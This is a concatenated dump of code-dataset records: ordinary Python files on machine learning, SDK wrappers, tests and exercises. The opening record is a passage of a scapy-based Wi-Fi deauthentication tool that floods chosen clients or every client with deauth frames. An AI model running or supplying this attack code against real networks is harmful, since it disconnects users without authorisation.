1\n\t\t\t\t\tdeauth_clients()\n\t\telse:\n\n\t\t\tif deauth_all == True:\n\t\t\t\tfor attack in range(1,int(attack_length)):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tClearScreen()\n\t\t\t\t\t\tprint('[+] {}/{} packets sent'.format(attack, attack_length))\n\t\t\t\t\t\tprint('[|] CTRL + C to stop the attack')\n\t\t\t\t\t\tnuke_all()\n\t\t\t\t\texcept KeyboardInterrupt:\n\t\t\t\t\t\tMenu()\n\t\t\telse:\n\t\t\t\tfor attack in range(1,int(attack_length)):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tClearScreen()\n\t\t\t\t\t\tprint('[+] {}/{} packets sent'.format(attack, attack_length))\n\t\t\t\t\t\tprint('[|] CTRL + C to stop the attack')\n\t\t\t\t\t\tdeauth_clients()\n\t\t\t\t\texcept KeyboardInterrupt:\n\t\t\t\t\t\tMenu()\n\texcept ValueError:\n\t\tprint('\\n[!] Invalid input, please enter a number ...')\n\t\ttime.sleep(3)\n\t\tDeauth_Targets()\n\texcept KeyboardInterrupt:\n\t\tMenu()\n\tMenu()\n\n\ndef deauth_clients():\n\tglobal selected_ap\n\tglobal clients_list\n\tfor client in clients_list:\n\t\tclient = clients_list[client]\n\t\tif client.deauth == True:\n\t\t\tpacket = (RadioTap(present=0)/Dot11(type=0,subtype=12,addr1=client.bssid,addr2=selected_ap.bssid,addr3=selected_ap.bssid)/Dot11Deauth(reason=7))\n\t\t\tsendp(packet)\n\ndef nuke_all():\n\tglobal selected_ap\n\tpacket = (RadioTap(present=0)/Dot11(type=0,subtype=12,addr1='ff:ff:ff:ff:ff:ff',addr2=selected_ap.bssid,addr3=selected_ap.bssid)/Dot11Deauth(reason=7))\n\tsendp(packet)\n\ndef ApHandler(pkt):\n\tglobal channel\n\tglobal ap_list\n\tglobal iden\n\tif pkt.haslayer(Dot11):\n\t\tif pkt.type == 0 and pkt.subtype == 8:\n\t\t\tif pkt.addr2 not in ap_list:\n\t\t\t\tiden += 1\n\t\t\t\tbssid = pkt.addr2\n\t\t\t\tssid = pkt.info.decode('utf-8')\n\t\t\t\tap_list[bssid] = AccessPoint(bssid, ssid, channel, iden)\n\ndef ClientHandler(pkt):\n\tglobal channel\n\tglobal clients_list\n\tglobal selected_ap\n\tglobal c_iden\n\tif pkt.haslayer(Dot11):\n\t\tif pkt.addr1 and pkt.addr2:\n\t\t\tif pkt.addr1 == selected_ap.bssid:\n\t\t\t\tclient_bssid = pkt.addr2\n\t\t\t\tif client_bssid not in clients_list:\n\t\t\t\t\tc_iden +=1\n\t\t\t\t\tselected_ap_ssid = selected_ap.ssid\n\t\t\t\t\tclient_vendor = check_vendor(client_bssid)\n\t\t\t\t\tclients_list[client_bssid] = Client_object(c_iden, client_bssid, selected_ap.bssid, channel, selected_ap_ssid, client_vendor)\t\n\t\t\tif pkt.addr2 == selected_ap.bssid:\n\t\t\t\tclient_bssid = pkt.addr1\n\t\t\t\tif client_bssid not in clients_list:\n\t\t\t\t\tc_iden += 1\n\t\t\t\t\tselected_ap_ssid = selected_ap.ssid\n\t\t\t\t\tclient_vendor = check_vendor(client_bssid)\n\t\t\t\t\tclients_list[client_bssid] = Client_object(c_iden, client_bssid, selected_ap.bssid, channel, selected_ap_ssid, client_vendor)\t\n\ndef ClearScreen():\n\tprint('\\n' * 200)\n\tprint(\"\"\"\n\t___________ __ __.__ _____.__ \n\t\\_ _____/__ __ ____/ \\ / \\__|/ ____\\__|\n\t | __)_\\ \\/ // __ \\ \\/\\/ / \\ __\\| |\n\t | \\ /\\ ___/\\ /| || | | |\n\t/_______ / \\_/ \\___ >\\__/\\ / |__||__| |__|\n\t \\/ \\/ \\/ \n\t________________________________________________\n\t\t\t\t\t\tby [c20xh2] | [2018]\n\t\t\\n\"\"\")\n\ndef exit_script():\n\tglobal interface\n\tprint('\\n\\n[!] Stopping monitor mod and exiting please wait....\\n')\n\n\tcommand = subprocess.call(['ip', 'link', 'set', 'dev', interface, 'down'])\n\tif command != 0:\n\t\tsubprocess.call(['ifconfig', interface, 'down'])\n\tsubprocess.call(['iwconfig', interface, 'mode', 'managed'])\n\ttime.sleep(2)\n\tcommand_run = subprocess.call(['ip', 'link', 'set', 'dev', interface, 'up'])\n\tif command_run != 0 :\n\t\tsubprocess.call(['ifconfig', interface, 'up'])\n\n\ttime.sleep(2)\n\tsubprocess.call(['service', 'networking', 'restart'])\n\texit('\\nQuitting..')\n\n\n\ndef Reset():\n\tglobal ap_list\n\tglobal ap_list_sorted\n\tglobal selected_ap\n\tglobal selected_ap_ssid\n\tglobal clients_list\n\tglobal clients_list_sorted\n\tglobal client_Targets\n\tglobal client_selection\n\tglobal iden\n\tglobal c_iden\n\tglobal deauth_all\n\n\tdeauth_all = False\n\tc_iden = 0\n\tiden = 0\n\tap_list = {}\n\tap_list_sorted = {}\n\tselected_ap = ''\n\tselected_ap_ssid = ''\n\tclients_list = {}\n\tclients_list_sorted = {}\n\n\tclient_Targets = ''\n\tclient_selection = ''\n\n\ndef Menu():\n\tglobal ap_list\n\tglobal ap_list_sorted\n\tglobal clients_list\n\tglobal clients_list_sorted\n\n\tClearScreen()\n\ttry:\n\t\tmenu_choice = input(\"\"\"\\n \n\t[|] What should we do now ? \n\t\t[c] Continue the attack\n\t\t[s] Scan for more clients\n\t\t[a] Scan for more Access Point\n\t\t[q] Quit the script\n\n\t Choice: \"\"\")\n\t\tif menu_choice.lower() == 'c':\n\t\t\tDeauth_Targets()\n\t\telif menu_choice.lower() == 's':\n\t\t\tScan_For_Clients()\n\t\telif menu_choice.lower() == 'a':\n\t\t\tReset()\n\t\t\tScan_For_AP()\n\t\telif menu_choice.lower() == 'q':\n\t\t\texit_script()\n\t\telse:\n\t\t\tMenu()\n\texcept KeyboardInterrupt:\n\t\texit_script()\n\ndef First_run_menu():\n\tglobal interface\n\tglobal AP_Target\n\tglobal ap_list\n\tglobal selected_ap\n\tglobal client_Targets\n\n\tClearScreen()\n\ttry:\n\t\tInterface_Choice()\n\texcept KeyboardInterrupt:\n\t\texit('\\nQuitting..')\n\tScan_For_AP()\n\noriginal_interface = ''\ninterface = ''\nap_list = {}\nclients_list = {}\ninterface_list = {}\n\nchannels = [1,2,3,4,5,6,7,8,9,10,11]\niden = 0\nc_iden = 0\nAP_Target = ''\nselected_ap = ''\nclient_Targets =''\ndeauth_all = False\n\ntry:\n\tFirst_run_menu()\nexcept KeyboardInterrupt:\n\tMenu()\n","sub_path":"EveWifi.py","file_name":"EveWifi.py","file_ext":"py","file_size_in_byte":13050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"149791924","text":"# geoscience kata workspace - see https://kata.geosci.ai/\n\nimport requests\nfrom IPython.display import Markdown\nfrom itertools import pairwise\n\nurl = 'https://kata.geosci.ai/challenge/sequence' # challenge = 'sequence'\n\nr = requests.get(url)\nMarkdown(r.text)\n\n#1. What is the total thickess in metres of sandstone (`S`)? Each sample represents one metre.\n#2. How many sandstone beds are there? A bed is a contiguous group of one lithology, so `MMFFF` is 2 beds, one of `M` and one of `F`.\n#3. How many times does the most common *upwards* bed transition occur? Do not include transitions from a lithology to itself.\n\n\n\n# Preparation for the challenges, incl. set-up\n\nmy_key = \"testing\"\nparams = {'key': my_key}\nr = requests.get(url, params)\nrock_sequence = r.text # rock_squence is a string of beds, such as 'MFSS'\n\n# question 1: What is the total thickess in metres of sandstone (`S`)? Each sample represents one metre.\nrock_library = {bed:rock_sequence.count(bed) for bed in rock_sequence}\nsandstone_thickness = rock_library['S']\n#print(sandstone_thickness) # answer\n\n# solution submission\nparams = {'key': my_key, # <--- must be the same key as before\n 'question': 1, # <--- which question you're answering\n 'answer': sandstone_thickness, # <--- your answer to that question\n }\nr = requests.get(url, params)\nr.text\n\n# question 2: How many sandstone beds are there? A bed is a contiguous group of one lithology, so `MMFFF` is 2 beds, one of `M` and one of `F`.\nprevious_bed = ''\nsandstone_beds = 0\n\nfor bed in rock_sequence:\n if bed == 'S' and previous_bed != 'S':\n previous_bed = 'S'\n sandstone_beds += 1\n elif bed != 'S':\n previous_bed = bed\n# print(sandstone_beds) # answer\n\n# solution submission\n\nparams = {'key': my_key, # <--- must be the same key as before\n 'question': 2, # <--- which question you're answering\n 'answer': sandstone_beds, # <--- your answer to that question\n }\nr = requests.get(url, params)\nr.text\n\n# question 3: How many times does the most common *upwards* bed transition occur? Do not include transitions from a lithology to itself.\n#rock_library = {first_bed,second_bed:rock_sequence.count(first_bed,second_bed) for (first_bed, second_bed) in pairwise(rock_sequence) if first_bed != second_bed}\n\ntransition_dict = {}\ntest = pairwise(rock_sequence)\nfor first_bed, second_bed in test:\n if first_bed != second_bed:\n if (first_bed + second_bed) in transition_dict:\n transition_dict[(first_bed + second_bed)] += 1\n else:\n transition_dict[(first_bed + second_bed)] = 1\n\nmost_common_transition = (max(transition_dict.values())) # answer\n\n# solution submission\n\nparams = {'key': my_key, # <--- must be the same key as before\n 'question': 3, # <--- which question you're answering\n 'answer': most_common_transition, # <--- your answer to that question\n }\nr = requests.get(url, params)\nr.text\n\n# finished!\n\n\n","sub_path":"challenge-1-sequence.py","file_name":"challenge-1-sequence.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489560316","text":"import logging\nfrom typing import Dict, List, Union\n\nfrom tqdm import tqdm\n\nfrom .auth import Auth\nfrom .job import Job\nfrom .tools import Tools\nfrom .utils import get_logger\nfrom .workflow import Workflow\n\nlogger = get_logger(__name__)\n\n\nclass Project(Tools):\n def __init__(self, auth: Auth, project_id: str):\n \"\"\"\n The Project class can query all available workflows and spawn new workflows\n within an UP42 project. Also handles project user settings.\n\n Public Methods:\n create_workflow, get_workflows, get_jobs, get_project_settings,\n update_project_settings\n \"\"\"\n self.auth = auth\n self.project_id = project_id\n if self.auth.get_info:\n self.info = self._get_info()\n\n def __repr__(self):\n return (\n f\"Project(project_id={self.project_id}, auth={self.auth}, info={self.info})\"\n )\n\n def _get_info(self):\n \"\"\"Gets metadata info from sever for an existing project\"\"\"\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}\"\n response_json = self.auth._request(request_type=\"GET\", url=url)\n self.info = response_json[\"data\"]\n return self.info\n\n def create_workflow(\n self, name: str, description: str = \"\", use_existing: bool = False\n ) -> \"Workflow\":\n \"\"\"\n Creates a new workflow and returns a workflow object.\n\n Args:\n name: Name of the new workflow.\n description: Description of the new workflow.\n use_existing: If True, instead of creating a new workflow, uses the\n most recent workflow with the same name & description.\n\n Returns:\n The workflow object.\n \"\"\"\n if use_existing:\n logger.info(\"Getting existing workflows in project ...\")\n logging.getLogger(\"up42.workflow\").setLevel(logging.CRITICAL)\n existing_workflows = self.get_workflows()\n logging.getLogger(\"up42.workflow\").setLevel(logging.INFO)\n\n matching_workflows = [\n workflow\n for workflow in existing_workflows\n if workflow.info[\"name\"] == name\n and workflow.info[\"description\"] == description\n ]\n if matching_workflows:\n existing_workflow = matching_workflows[0]\n logger.info(\n \"Using existing workflow: %s, %s.\",\n name,\n existing_workflow.workflow_id,\n )\n return existing_workflow\n\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}/workflows/\"\n payload = {\"name\": name, \"description\": description}\n response_json = self.auth._request(request_type=\"POST\", url=url, data=payload)\n workflow_id = response_json[\"data\"][\"id\"]\n logger.info(\"Created new workflow: %s.\", workflow_id)\n workflow = Workflow(\n self.auth, project_id=self.project_id, workflow_id=workflow_id\n )\n return workflow\n\n def get_workflows(self, return_json: bool = False) -> Union[List[\"Workflow\"], Dict]:\n \"\"\"\n Gets all workflows in a project as workflow objects or json.\n\n Args:\n return_json: True returns Workflow Objects.\n\n Returns:\n Workflow objects in the project or alternatively json info of the workflows.\n \"\"\"\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}/workflows\"\n response_json = self.auth._request(request_type=\"GET\", url=url)\n workflows_json = response_json[\"data\"]\n logger.info(\n \"Got %s workflows for project %s.\", len(workflows_json), self.project_id\n )\n\n if return_json:\n return workflows_json\n else:\n workflows = [\n Workflow(self.auth, project_id=self.project_id, workflow_id=work[\"id\"])\n for work in tqdm(workflows_json)\n ]\n return workflows\n\n def get_jobs(self, return_json: bool = False) -> Union[List[\"Job\"], Dict]:\n \"\"\"\n Get all jobs in the project as job objects or json.\n\n Use Workflow().get_job() to get jobs associated with a specific workflow.\n\n Args:\n return_json: If true, returns the job info jsons instead of job objects.\n\n Returns:\n All job objects as a list, or alternatively the jobs info as json.\n \"\"\"\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}/jobs\"\n response_json = self.auth._request(request_type=\"GET\", url=url)\n jobs_json = response_json[\"data\"]\n logger.info(\n \"Got %s jobs in project %s.\", len(jobs_json), self.project_id,\n )\n if return_json:\n return jobs_json\n else:\n jobs = [\n Job(self.auth, job_id=job[\"id\"], project_id=self.project_id)\n for job in tqdm(jobs_json)\n ]\n return jobs\n\n def get_project_settings(self) -> List:\n \"\"\"\n Gets the project settings.\n\n Returns:\n The project settings.\n \"\"\"\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}/settings\"\n response_json = self.auth._request(request_type=\"GET\", url=url)\n project_settings = response_json[\"data\"]\n return project_settings\n\n def update_project_settings(\n self,\n max_aoi_size: int = None,\n max_concurrent_jobs: int = None,\n number_of_images=None,\n ) -> None:\n \"\"\"\n Updates a project's settings.\n\n Args:\n max_aoi_size: The maximum area of interest geometry size, from 1-1000 sqkm, default 10 sqkm.\n max_concurrent_jobs: The maximum number of concurrent jobs, from 1-10, default 1.\n number_of_images: The maximum number of images returned with each job, from 1-20, default 10.\n \"\"\"\n url = f\"{self.auth._endpoint()}/projects/{self.project_id}/settings\"\n payload = [\n {\n \"name\": \"JOB_QUERY_MAX_AOI_SIZE\",\n \"value\": f\"{100 if max_aoi_size is None else max_aoi_size}\",\n },\n {\n \"name\": \"MAX_CONCURRENT_JOBS\",\n \"value\": f\"{10 if max_concurrent_jobs is None else max_concurrent_jobs}\",\n },\n {\n \"name\": \"JOB_QUERY_LIMIT_PARAMETER_MAX_VALUE\",\n \"value\": f\"{10 if number_of_images is None else number_of_images}\",\n },\n ]\n self.auth._request(request_type=\"PUT\", url=url, data=payload)\n logger.info(\"Updated project settings: %s\", payload)\n","sub_path":"up42/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":6662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"617331809","text":"\"\"\"\n===================================================\nVector-field Learning with structured output kernel\n===================================================\n\nAn example to illustrate structured learning with operator-valued kernels.\n\nWe compare Operator-valued kernel (OVK) with scikit-learn multi-output ridge\nregression.\n\"\"\"\n# Author: Romain Brault \n# License: MIT\n\n# -*- coding: utf-8 -*-\nimport operalib as ovk\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nfrom numpy.random import RandomState\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.kernel_ridge import KernelRidge\n\n\ndef main():\n \"\"\"Example of vector-field learning.\"\"\"\n\n # Fix a seed\n random_state = RandomState(0)\n\n # Generate data\n inputs, targets = ovk.toy_data_curl_free_field(n_samples=2000)\n inputs_mesh = ovk.array2mesh(inputs)\n\n inputs_train, inputs_test, targets_train, targets_test = train_test_split(\n inputs, targets, train_size=(inputs.shape[0] - 40 ** 2),\n random_state=random_state)\n # Add some noise\n targets_train = (targets_train +\n .175 * random_state.randn(targets_train.shape[0],\n targets_train.shape[1]))\n\n regressor = {'CF':\n ovk.OVKRidge(ovkernel=ovk.RBFCurlFreeKernel(gamma=2.),\n lbda=1e-4),\n 'Indep':\n KernelRidge(kernel='rbf', gamma=.5, alpha=1e-4)}\n\n # Learning with curl-free\n regressor['CF'].fit(inputs_train, targets_train)\n score_cf = regressor['CF'].score(inputs_test, targets_test)\n print('R2 curl-free ridge: %.5f' % score_cf)\n targets_mesh_cf = ovk.array2mesh(regressor['CF'].predict(inputs))\n\n # Learning with sklearn ridge\n regressor['Indep'].fit(inputs_train, targets_train)\n scode_id = regressor['Indep'].score(inputs_test, targets_test)\n print('R2 independent ridge: %.5f' % scode_id)\n targets_mesh_id = ovk.array2mesh(regressor['Indep'].predict(inputs))\n\n # Plotting\n # pylint: disable=E1101\n fig, axarr = plt.subplots(1, 2, sharex=True, sharey=True, figsize=(14, 7))\n axarr[0].streamplot(inputs_mesh[0], inputs_mesh[1],\n targets_mesh_cf[0], targets_mesh_cf[1],\n color=np.sqrt(targets_mesh_cf[0]**2 +\n targets_mesh_cf[1]**2),\n linewidth=.5, cmap=plt.cm.jet, density=2,\n arrowstyle=u'->')\n axarr[1].streamplot(inputs_mesh[0], inputs_mesh[1],\n targets_mesh_id[0], targets_mesh_id[1],\n color=np.sqrt(targets_mesh_id[0]**2 +\n targets_mesh_id[1]**2),\n linewidth=.5, cmap=plt.cm.jet, density=2,\n arrowstyle=u'->')\n axarr[0].set_ylim([-1, 1])\n axarr[0].set_xlim([-1, 1])\n axarr[0].set_title('Curl-Free Ridge, R2: %.5f' % score_cf)\n axarr[1].set_ylim([-1, 1])\n axarr[1].set_xlim([-1, 1])\n axarr[1].set_title('Independent Ridge, R2: %.5f' % scode_id)\n\n fig.suptitle('Vectorfield learning')\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"examples/plot_ovk_regression_cf.py","file_name":"plot_ovk_regression_cf.py","file_ext":"py","file_size_in_byte":3203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"280087872","text":"# Importing required libraries\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom random import *\r\nimport matplotlib.pyplot as plt\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n#Load the data from the keras fashion_mnist dataset\r\n# Reference : https://keras.io/datasets/\r\n(x_train, y_train), (x_test, y_test) = keras.datasets.fashion_mnist.load_data()\r\n#(x_train, y_train), (x_test, y_test) = keras.datasets.cifar10.load_data()\r\n\r\nprint(\"Number of Images along with the pixel of each image in training dataset are: \"+str(x_train.shape))\r\nprint(\"Number of Labels in training dataset are: \"+str(y_train.shape))\r\nprint(\"Number of Images along with the pixel of each image in testing dataset are:\"+str(x_test.shape))\r\nprint(\"Number of Labels in testing dataset are: \"+str(y_test.shape))\r\n\r\n#Class labels do not come with dataset and hence we code them here\r\n# Reference : https://keras.io/datasets/\r\nclass_labels = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\r\n#class_labels = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\r\n\r\n#Plot any random training image\r\nplt.figure()\r\na = randint(1, len(x_train))\r\nplt.imshow(x_train[a])\r\nplt.show()\r\n\r\n#plot any random testing image\r\nplt.figure()\r\nb = randint(1, len(x_test))\r\nplt.imshow(x_test[b])\r\nplt.show()\r\n\r\nprint(x_train[a])\r\n\r\n# From the result of above print statement we can see that an image is read with the values ranging from 0-255\r\n# Scaling all testing and training images to range of 0-1\r\nx_train = x_train/255.0\r\nx_test = x_test/255.0\r\n\r\nprint(x_train[a])\r\n\r\n# Number of layers in neural network are designed\r\nnetwork = keras.Sequential([\r\n keras.layers.Flatten(input_shape=(28, 28)), #transforms data from 2-d to 1-d\r\n keras.layers.Dense(128, activation=tf.nn.relu), #This layer has 128 nodes with relu as activation function\r\n keras.layers.Dense(10, activation=tf.nn.softmax) #converts all values to within range 0-1\r\n])\r\n\r\n# Compiling the network\r\nnetwork.compile(optimizer=tf.train.AdamOptimizer(), \r\n loss='sparse_categorical_crossentropy',\r\n metrics=['accuracy'])\r\n\r\n#Training the network\r\nnetwork.fit(x_train, y_train, epochs=10)\r\n\r\npredictions = network.predict(x_test)\r\n\r\n# Maximum value in the corresponding image array\r\nte = randint(0, len(x_test))\r\nnp.argmax(predictions[te])\r\n\r\ny_test[te]\r\n\r\nimg1 = randint(0, len(x_test))\r\nimg = x_test[img1]\r\nprint(img.shape)\r\n\r\n#Reference https://docs.scipy.org/doc/numpy/reference/generated/numpy.expand_dims.html\r\nimg = (np.expand_dims(img,axis=0))\r\nprint(img.shape)\r\n\r\npred1 = network.predict(img)\r\npred2 = pred1[0]\r\nprint(pred2)\r\n\r\nma = np.argmax(pred1[0])\r\nprint(ma)\r\n\r\n##Verification to check whether all probabilities sum to 1\r\nval1 = 0\r\nfor val in pred2:\r\n val1 = val1 + val\r\nprint(\"Sum of all predictions = \"+str(val1))\r\n\r\n#Calculating accuracy percentage\r\naccuracy = pred2[ma] * 100\r\n\r\nlen = np.arange(10)\r\nplt.figure()\r\nplt.imshow(x_test[img1])\r\nplt.show()\r\n\r\nplt.bar(len,pred2)\r\nplt.xticks(len, class_labels, rotation=90)\r\nplt.ylabel('Probability of prediction')\r\nplt.xlabel('Type of Image')\r\nplt.title('Image recognition')\r\nplt.show()\r\n\r\n# Output\r\nna = y_test[img1]\r\nprint(\"Testing image fed to the network is: \"+class_labels[na])\r\nprint(\"Image predicted is: \"+class_labels[ma])\r\nprint(\"Accuracy of prediction is: \"+str(accuracy)+\"%\")\r\n","sub_path":"Fashion-MNIST_cnn.py","file_name":"Fashion-MNIST_cnn.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"25776304","text":"import math\r\n\r\nn = int(input(\"First Number:\"))\r\nm = int(input(\"Second Number:\"))\r\n\r\na = abs(2*m*n)\r\nb = abs(m**2 - n**2)\r\nc = abs(m**2 + n**2)\r\n\r\nprint(f\"{a} squared plus {b} squared is equal to {c} squared.\\n\")\r\nprint(f\"{a}² + {b}² = {c}²\")","sub_path":"tandemsite/math/PythagTriplet.py","file_name":"PythagTriplet.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443764210","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ndef BinarySearch(arr,query,start,end):\n if(start > end):\n print(\"False\")\n return False\n\n medium = int((end - start)/2) + start\n\n arrInt = int(arr[medium][0])\n if(arrInt == query):\n return medium\n\n else:\n arrInt = int(arr[medium][0])\n if(query > arrInt):\n return BinarySearch(arr,query,medium+1,end)\n\n else:\n return BinarySearch(arr,query,start,medium-1)\n \n\narchivo = open(\"lista.txt\",\"r\")\nlista_alumnos = []\nfor linea in archivo.readlines():\n\ttupla = linea.split(\"\\t\")\n\ttupla[2] = tupla[2].replace(\"\\n\",\"\")\n\tlista_alumnos.append(tupla)\n\nlista = lista_alumnos #Beautify code \n\nquery = int(raw_input())\n\nindex = BinarySearch(lista,query,0, (len(lista)-1) )\n\nprint(lista[index])\n","sub_path":"p5/binary.py","file_name":"binary.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"530270778","text":"__author__ = 'jiangjun'\n__date__ = '2018/5/29 上午12:01'\n\n\nclass MyType(type):\n\n def __init__(self, what, bases=None, dict=None):\n print('MyType __init__')\n super(MyType, self).__init__(what, bases, dict)\n\n def __call__(self, *args, **kwargs):\n print('MyType __call__')\n obj = self.__new__(self, *args, **kwargs)\n self.__init__(obj, *args, **kwargs)\n\n\nclass Foo(object):\n\n __metaclass__ = MyType\n\n def __init__(self, name):\n self.name = name\n print('Foo __init__')\n\n def __new__(cls, *args, **kwargs):\n print('Foo __new__')\n obj = object.__new__(cls)\n # 个性化初始化等操作\n obj.id_card = '123'\n\n return obj\n\nfoo = Foo(name='jj')\nprint(foo.id_card)","sub_path":"面向对象/metaclass.py","file_name":"metaclass.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"494248660","text":"import csv\nimport gzip\nimport shutil\nimport shutil\n\nfrom Bio import SeqIO\n\nfrom lookup import selection_criteria\n\n\ndef reformat_fasta(fasta_path, gensam_basename, output_path):\n \"\"\"Set the fasta header to the GENSAM basename and print to correctly named file.\"\"\"\n with open(output_path, 'w') as out:\n for record in SeqIO.parse(fasta_path, 'fasta'):\n record.id = gensam_basename\n record.description = ''\n SeqIO.write(record, out, 'fasta')\n return output_path\n\n\ndef reformat_vcf(vcf_path, output_path):\n \"\"\"Unzip and copy vcf to correctly named file.\"\"\"\n with gzip.open(vcf_path, 'rb') as f_in:\n with open(output_path, 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n return output_path\n\n\ndef reformat_fastq(fastq_path, output_path):\n \"\"\"Copy fastq to correctly named file.\"\"\"\n shutil.copyfile(fastq_path, output_path)\n return output_path\n\n\ndef reformat_pangolin(pangolin_path, output_path):\n \"\"\"\n Reformat the given pangolin csv from IonTorrent plugin format to Fohm format.\n \"\"\"\n # Format is correct coming from the torrent plugin\n shutil.copy(pangolin_path, output_path)\n return output_path\n\n\ndef reformat_complementary(metadata, output_path):\n \"\"\"Add sample metadata to complementary file to be sent to FoHM.\"\"\"\n with open(output_path, 'w') as out:\n headers = ['provnummer', 'urvalskriterium', 'GISAID_accession']\n print(','.join(headers), file=out)\n\n for sample_name, sample_metadata in metadata.items():\n selection_criteria_index = int(sample_metadata.split('_')[-1])\n selection_criteria_text = selection_criteria[selection_criteria_index]\n print(','.join([sample_name, selection_criteria_text, '']), file=out)\n\n return output_path\n","sub_path":"microbiology_s5/src/reformat.py","file_name":"reformat.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"81444543","text":"from django.conf.urls import url\nfrom .views import *\n\n\nurlpatterns = [\n url(r'^library/$', library_view, name='library'),\n url(r'^photos/(?P\\d+)/$', photo_view, name='photo'),\n url(r'^albums/(?P\\d+)/$', album_view, name='album'),\n url(r'^photos/add/$', add_photo_view, name='add_photo'),\n url(r'^albums/add/$', add_album_view, name='add_album'),\n url(r'^albums/(?P\\d+)/edit/', edit_album_view, name='edit_album'),\n url(r'^photos/(?P\\d+)/edit/', edit_photo_view, name='edit_photo'),\n url(r'^photos/data.geojson/(?P\\d+)/$', p_geoview, name='p_geodata'),\n url(r'^albums/data.geojson/(?P\\d+)/$', a_geoview, name='a_geodata')\n]\n","sub_path":"imagersite/imager_images/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"403680509","text":"\"\"\"\n2.\tВо втором массиве сохранить индексы четных элементов первого массива.\nНапример, если дан массив со значениями 8, 3, 15, 6, 4, 2, то во второй массив\nнадо заполнить значениями 1, 4, 5, 6\n(или 0, 3, 4, 5 - если индексация начинается с нуля),\nт.к. именно в этих позициях первого массива стоят четные числа.\n\"\"\"\nimport random\n# Создаем массив со случайными числами от-100 до 100\na=[random.randint(-100,100) for i in range(20)]\nprint(a)\nb=[]\n# Проверяем элементы массива на четность. Присоединяем индекс четного элемента к массиву b\nfor i in range(20):\n if a[i]%2==0:\n b.append(i)\nprint (b)\n","sub_path":"Lesson_3/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"508416043","text":"\"\"\"Vera tests.\"\"\"\nfrom unittest.mock import MagicMock\n\nfrom pyvera import CATEGORY_SWITCH, VeraSwitch\n\nfrom homeassistant.core import HomeAssistant\n\nfrom .common import ComponentFactory\n\n\nasync def test_switch(\n hass: HomeAssistant, vera_component_factory: ComponentFactory\n) -> None:\n \"\"\"Test function.\"\"\"\n vera_device = MagicMock(spec=VeraSwitch) # type: VeraSwitch\n vera_device.device_id = 1\n vera_device.name = \"dev1\"\n vera_device.category = CATEGORY_SWITCH\n vera_device.is_switched_on = MagicMock(return_value=False)\n entity_id = \"switch.dev1_1\"\n\n component_data = await vera_component_factory.configure_component(\n hass=hass, devices=(vera_device,),\n )\n controller = component_data.controller\n update_callback = controller.register.call_args_list[0][0][1]\n\n assert hass.states.get(entity_id).state == \"off\"\n\n await hass.services.async_call(\n \"switch\", \"turn_on\", {\"entity_id\": entity_id},\n )\n await hass.async_block_till_done()\n vera_device.switch_on.assert_called()\n vera_device.is_switched_on.return_value = True\n update_callback(vera_device)\n await hass.async_block_till_done()\n assert hass.states.get(entity_id).state == \"on\"\n\n await hass.services.async_call(\n \"switch\", \"turn_off\", {\"entity_id\": entity_id},\n )\n await hass.async_block_till_done()\n vera_device.switch_off.assert_called()\n vera_device.is_switched_on.return_value = False\n update_callback(vera_device)\n await hass.async_block_till_done()\n assert hass.states.get(entity_id).state == \"off\"\n","sub_path":"tests/components/vera/test_switch.py","file_name":"test_switch.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327995139","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n__title__ = 'Redis 操作'\n__author__ = 'Mad Dragon'\n__mtime__ = '2019/1/20'\n# 我不懂什么叫年少轻狂,只知道胜者为王\n              ┏┓      ┏┓\n            ┏┛┻━━━┛┻┓\n            ┃      ☃      ┃\n            ┃  ┳┛  ┗┳  ┃\n            ┃      ┻      ┃\n            ┗━┓      ┏━┛\n                ┃      ┗━━━┓\n                ┃  神兽保佑    ┣┓\n                ┃ 永无BUG!   ┏┛\n                ┗┓┓┏━┳┓┏┛\n                  ┃┫┫  ┃┫┫\n                  ┗┻┛  ┗┻┛\n\"\"\"\nimport 